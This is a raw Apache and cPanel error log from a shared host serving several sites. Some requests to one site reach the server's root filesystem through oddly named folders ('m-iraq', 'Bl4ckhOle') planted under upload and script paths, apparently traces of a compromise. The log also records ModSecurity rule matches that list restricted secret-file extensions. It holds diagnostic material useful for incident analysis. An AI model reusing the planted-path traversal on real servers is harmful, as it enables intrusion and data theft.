[Fri Jul 17 07:53:01.380756 2026] [core:error] [pid 1993604:tid 1993604] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:66/subsystem/ttyS2/line
[Fri Jul 17 07:53:01.746163 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:01.843250 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:03.233380 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:03.709700 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/input5/subsystem/input4/name"] [unique_id "almSB0hq6UAnqYko0LpP8QAAABE"]
[Fri Jul 17 07:53:03.709741 2026] [security2:error] [pid 1994967:tid 1994967] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/input/input5/subsystem/input4/name"] [unique_id "almSB0hq6UAnqYko0LpP8QAAABE"]
[Fri Jul 17 07:53:03.800118 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:03.892876 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:03.984343 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:04.485262 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:04.984161 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:05.074783 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:05.076104 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:53:05.165976 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:05.316297 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:05.477005 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/node0/compact
[Fri Jul 17 07:53:05.634395 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:05.724694 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:05.815538 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:05.997267 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:06.067863 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:06.088719 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:06.182077 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:06.274846 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:06.378607 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:06.465359 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:06.556553 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:06.648496 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:06.739836 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:06.831497 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:06.842575 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:47830] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:53:06.922543 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.012736 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.104837 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.112576 2026] [proxy_fcgi:error] [pid 1994956:tid 1994956] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:53:07.196634 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.286722 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.389981 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.477946 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.566272 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.566378 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593223 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593278 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593339 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593386 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593431 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593471 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593509 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593588 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593620 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593652 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593690 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.593725 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.615776 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.657332 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/microcode_ctl/RELEASE_NOTES.intel-ucode"] [unique_id "almSC3RlmrtCoY_COpcbVgAAAAg"]
[Fri Jul 17 07:53:07.657360 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/microcode_ctl/RELEASE_NOTES.intel-ucode"] [unique_id "almSC3RlmrtCoY_COpcbVgAAAAg"]
[Fri Jul 17 07:53:07.753932 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.760254 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:53:07.859190 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:07.997101 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:08.072426 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:08.153357 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:08.212239 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:08.213631 2026] [proxy_fcgi:error] [pid 1993573:tid 1993573] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:53:08.302071 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:08.393226 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:08.396609 2026] [proxy_fcgi:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:53:17.243034 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSFXt8zp89pALg8Q5exAAAAA4"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 07:53:17.243075 2026] [security2:error] [pid 1993573:tid 1993573] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSFXt8zp89pALg8Q5exAAAAA4"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 07:53:18.687304 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:18.699924 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:20.585121 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:20.766539 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:22.229268 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:22.395280 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:39216] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:53:22.411024 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:23.035170 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:39238] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:53:25.972135 2026] [security2:error] [pid 1993604:tid 1993604] [client 34.182.214.178:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sivagnanamfounda-global": Permission denied [hostname "sivagnanamfoundation.com"] [uri "/index.php"] [unique_id "almSHYha5y5fYnQ1qRroxgAAAAE"]
[Fri Jul 17 07:53:25.972192 2026] [security2:error] [pid 1993604:tid 1993604] [client 34.182.214.178:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sivagnanamfounda-ip": Permission denied [hostname "sivagnanamfoundation.com"] [uri "/index.php"] [unique_id "almSHYha5y5fYnQ1qRroxgAAAAE"]
[Fri Jul 17 07:53:26.064765 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:26.093530 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:26.826343 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:27.327621 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:27.555152 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:30.277838 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_64044ce6291f3_exit_strategy_for_covid-19_patients_and_contacts_1.pdf"] [unique_id "almSIgG5-NXx3Mem1QgHrQAAAA8"]
[Fri Jul 17 07:53:30.278301 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_64044ce6291f3_exit_strategy_for_covid-19_patients_and_contacts_1.pdf"] [unique_id "almSIgG5-NXx3Mem1QgHrQAAAA8"]
[Fri Jul 17 07:53:30.278624 2026] [security2:error] [pid 1994956:tid 1994956] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_64044ce6291f3_exit_strategy_for_covid-19_patients_and_contacts_1.pdf"] [unique_id "almSIgG5-NXx3Mem1QgHrQAAAA8"]
[Fri Jul 17 07:53:31.976952 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:32.036737 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:35.206822 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:38.241623 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:39.190044 2026] [ssl:error] [pid 1993675:tid 1993675] (70014)End of file found: [client 66.85.158.91:57918] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:53:40.317845 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:40.663678 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:57968] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:53:40.787456 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:42.267317 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:42.459350 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty39/subsystem/console/dev"] [unique_id "almSLmidQp3SsqeycPEmJQAAAAo"]
[Fri Jul 17 07:53:42.459393 2026] [security2:error] [pid 1993998:tid 1993998] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty39/subsystem/console/dev"] [unique_id "almSLmidQp3SsqeycPEmJQAAAAo"]
[Fri Jul 17 07:53:42.520428 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:43.059631 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:57706] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:53:43.737617 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:43.910764 2026] [ssl:error] [pid 1994446:tid 1994446] (70014)End of file found: [client 66.85.158.91:57730] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 07:53:44.199411 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:45.383446 2026] [mime:warn] [pid 1993571:tid 1993571] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:45.385290 2026] [proxy_fcgi:error] [pid 1993571:tid 1993571] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 07:53:47.290419 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.244.66.243:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.nccp.health.gov.lk"] [uri "/robots.txt"] [unique_id "almSMziSeFVxYLkcq6IWlwAAAAc"]
[Fri Jul 17 07:53:47.290805 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.nccp.health.gov.lk"] [uri "/robots.txt"] [unique_id "almSMziSeFVxYLkcq6IWlwAAAAc"]
[Fri Jul 17 07:53:47.291118 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.244.66.243:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/robots.txt"] [unique_id "almSMziSeFVxYLkcq6IWlwAAAAc"]
[Fri Jul 17 07:53:47.396988 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 07:53:48.424259 2026] [cgi:error] [pid 1994966:tid 1994966] [client 216.73.216.125:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden, referer: https://yashiholdings.com/robots.txt
[Fri Jul 17 07:53:48.424346 2026] [cgi:error] [pid 1994966:tid 1994966] [client 216.73.216.125:0] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157., referer: https://yashiholdings.com/robots.txt
[Fri Jul 17 07:53:53.043402 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSNnRlmrtCoY_COpcbdgAAAAg"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:53:53.043447 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almSNnRlmrtCoY_COpcbdgAAAAg"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 07:53:53.953521 2026] [security2:error] [pid 1994967:tid 1994967] [client 85.208.96.198:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/lib/dracut/dracut.conf.d/02-rescue.conf"] [unique_id "almSOUhq6UAnqYko0LpQGgAAABE"]
[Fri Jul 17 07:53:53.954021 2026] [security2:error] [pid 1994967:tid 1994967] [client 85.208.96.198:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/lib/dracut/dracut.conf.d/02-rescue.conf"] [unique_id "almSOUhq6UAnqYko0LpQGgAAABE"]
[Fri Jul 17 07:53:53.983729 2026] [security2:error] [pid 1994967:tid 1994967] [client 85.208.96.198:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/lib/dracut/dracut.conf.d/02-rescue.conf"] [unique_id "almSOUhq6UAnqYko0LpQGgAAABE"]
[Fri Jul 17 07:53:57.038197 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almSPYha5y5fYnQ1qRro3AAAAAE"]
[Fri Jul 17 07:53:57.039584 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almSPYha5y5fYnQ1qRro3AAAAAE"]
[Fri Jul 17 07:53:57.040121 2026] [security2:error] [pid 1993604:tid 1993604] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/index.php"] [unique_id "almSPYha5y5fYnQ1qRro3AAAAAE"]
